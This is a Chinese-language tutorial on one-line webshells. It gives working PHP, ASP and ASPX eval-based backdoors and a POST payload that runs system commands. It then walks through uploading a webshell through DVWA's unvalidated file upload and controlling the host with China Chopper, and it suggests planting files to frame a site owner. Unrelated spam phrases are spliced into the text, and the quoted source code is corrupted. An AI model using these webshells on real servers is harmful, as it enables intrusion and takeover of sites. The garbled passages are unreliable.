Web安全:⼀句话⽊马
概述
在很多的渗透过程中,渗透⼈员会上传⼀句话⽊马(简称Webshell)到⽬前web服务⽬录继⽽提权获取系统权限,不论asp、php、jsp、aspx都是如此,那么⼀句话⽊马到底是什么呢?
先来看看最简单的⼀句话⽊马:
<?php @eval($_POST['attack']) ?>
【基本原理】利⽤⽂件上传漏洞,往⽬标⽹站中上传⼀句话⽊马,然后你就可以在本地通过中国菜⼑即可获取和控制整个⽹站⽬录。@表⽰后⾯即使执⾏错误,也不报错。eval()函数表⽰括号内的语句字符串什么的全都当做代码执⾏。$_POST['attack']表⽰从页⾯中获得attack这个参数值。
⼊侵条件
其中,只要攻击者满⾜三个条件,就能实现成功⼊侵:
(1)⽊马上传成功,未被杀;
(2)知道⽊马的路径在哪;
(3)上传的⽊马能正常运⾏。
常见形式
常见的⼀句话⽊马:
php的⼀句话⽊马: <?php @eval($_POST['pass']);?>
asp的⼀句话是: <%eval request ("pass")%>
aspx的⼀句话是: 世界上有哪些植物
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
我们可以直接将这些语句插⼊到⽹站上的某个asp/aspx/php⽂件上,或者直接创建⼀个新的⽂件,在⾥⾯写⼊这些语句,然后把⽂件上传到⽹站上即贫困家庭申请书
可。
基本原理
⾸先我们先看⼀个原始⽽⼜简单的php⼀句话⽊马:
<?php @eval($_POST['cmd']); ?>
1
看到这⾥不得不赞美前辈的智慧。对于⼀个稍微懂⼀些php的⼈⽽⾔,或者初级的安全爱好者,或者脚本⼩⼦⽽⾔,看到的第⼀眼就是密码是cmd,通过post提交数据,但是具体如何执⾏的,却不得⽽知,下⾯我们分析⼀句话是如何执⾏的。
这句话什么意思呢?
(1)php的代码要写在<?php ?>⾥⾯,服务器才能认出来这是php代码,然后才去解析。
(2)@符号的意思是不报错,即使执⾏错误,也不报错。
为什么呢?因为⼀个变量没有定义,就被拿去使⽤了,服务器就善意的提醒:Notice,你的xxx变量没有定义。这不就暴露了密码吗?所以我们加上@。
(3)为什么密码是cmd呢?
那就要来理解这句话的意思了。php⾥⾯⼏个超全局变量:$_GET、$_POST就是其中之⼀。$_POST['a']; 的意思就是a这个变量,⽤post 的⽅法接收。
注释:传输数据的两种⽅法,get、post,post是在消息体存放数据,get是在消息头的url路径⾥存放数据(例如xxx.php?a=2)(4)如何理解eval()函数?
eval()把字符串作为PHP代码执⾏。
例如:eval("echo 'a'");其实就等于直接 echo 'a';再来看看<?php eval($_POST['pw']); ?>⾸先,⽤post⽅式接收变量pw,⽐如接收到
了:pw=echo 'a';这时代码就变成<?php eval("echo 'a';"); ?>。结果如下:
连起来意思就是:⽤post⽅法接收变量pw,把变量pw⾥⾯的字符串当做php代码来执⾏。所以也就能这么玩:也就是说,你想执⾏什么代码,就把什么代码放进变量pw⾥,⽤post传输给⼀句话⽊马。你想查看⽬标硬盘⾥有没有⼩黄⽚,可以⽤php函数:opendir()和readdir()等等。想上传点⼩黄⽚,诬陷站主,就⽤php函数:move_uploaded_file,当然相应的html要写好。你想执⾏cmd命令,则⽤exec()。
当然前提是:php配置⽂件php.ini⾥,关掉安全模式safe_mode = off,然后再看看 禁⽤函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec(有些cms为了⽅便处理某些功能,会去掉的)。
来看看效果,POST代码如下:
cmd=header("Content-type:text/html;chart=gbk");
exec("ipconfig",$out);
echo '<pre>';
print_r($out);
echo '</pre>';
在这⾥我们可以看到系统直接执⾏了系统命令。SO,⼤家现在应该理解,为什么说⼀句话短⼩精悍了吧!
⽊马利⽤
以下通过DVWA的⽂件上传漏洞,来看看⼀句话⽊马如何使⽤。关于⽂件上传漏洞可阅读以下⽂章:。
中国菜⼑
【实验准备】⾸先在本地(桌⾯)保存⼀句话⽊马⽂件Hack.php(⽤记事本编写后修改⽂件后缀即可):
<?php @eval($_POST['pass']);?>
&l带龙的词语
t;?php
if( ist( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_R赵光胤
OOT . "hackable/uploads/";
$target_path .= baname( $_FILES[ '眼霜的作用
uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was属猪和属蛇
not uploaded.</pre>';
}
el {
// Yes!
echo "<pre>{$target_p下元节是哪一天
ath} succesfully uploaded!</pre>";
}
}
>
从源码中发现,low级别未对上传的⽂件进⾏任何验证。所以可以直接上传P香港迪士尼和上海迪士尼对比
HP或者ASP⼀句话⽊马,此例采⽤php。
(1)我们将准备好的⼀句话⽊马直接上传,然后就可以看到回显的路径:
(2)接着就可以⽤菜⼑连接了,菜⼑界⾯右键,然后点击添加。然后填写相关的数据,如下图:
“中国菜⼑”页⾯操作说明:
1、是连接的URL,就是⽹站的主路径然后加上上传⽂件时回显的保存路径;
2、是菜⼑连接时的密码,就是上⾯图⽚⼀句话提交的数据(本例为"pass");
3、是⼀句话的解析类型,可以是asp,php,aspx。不同的解析类型的⼀句话内容不⼀样,⽂件后缀名不⼀样。
(3)然后可以看连接成功的界⾯:
(4)接着双击或者右键“⽂件管理”,进⼊以下界⾯:
我们看到了整个⽹站的结构和⽂件,甚⾄是暴漏了我整个电脑主机的磁盘存储!!可以进⾏任意⾮法增删查改!!⽹站(主机)⾄此沦陷……
图⽚⽊马
⽊马如何才能上传成功?通常防御者都会对类型、⼤⼩、进⾏过滤。另外,若规定是上传的图⽚,还会对图⽚进⾏采集。即使攻击者修改⽂件类型,也过不了图⽚采集那⼀关。所以,这就需要⼀张图⽚来做掩护。做成隐藏在图⽚下的⽊马。linux和windows都有相应的命令,能够让⼀个⽂件融合到另⼀个⽂件后⾯,达到隐藏的⽬的。
承接上⾯DVWA实验,High 安全等级,继续先查看源码: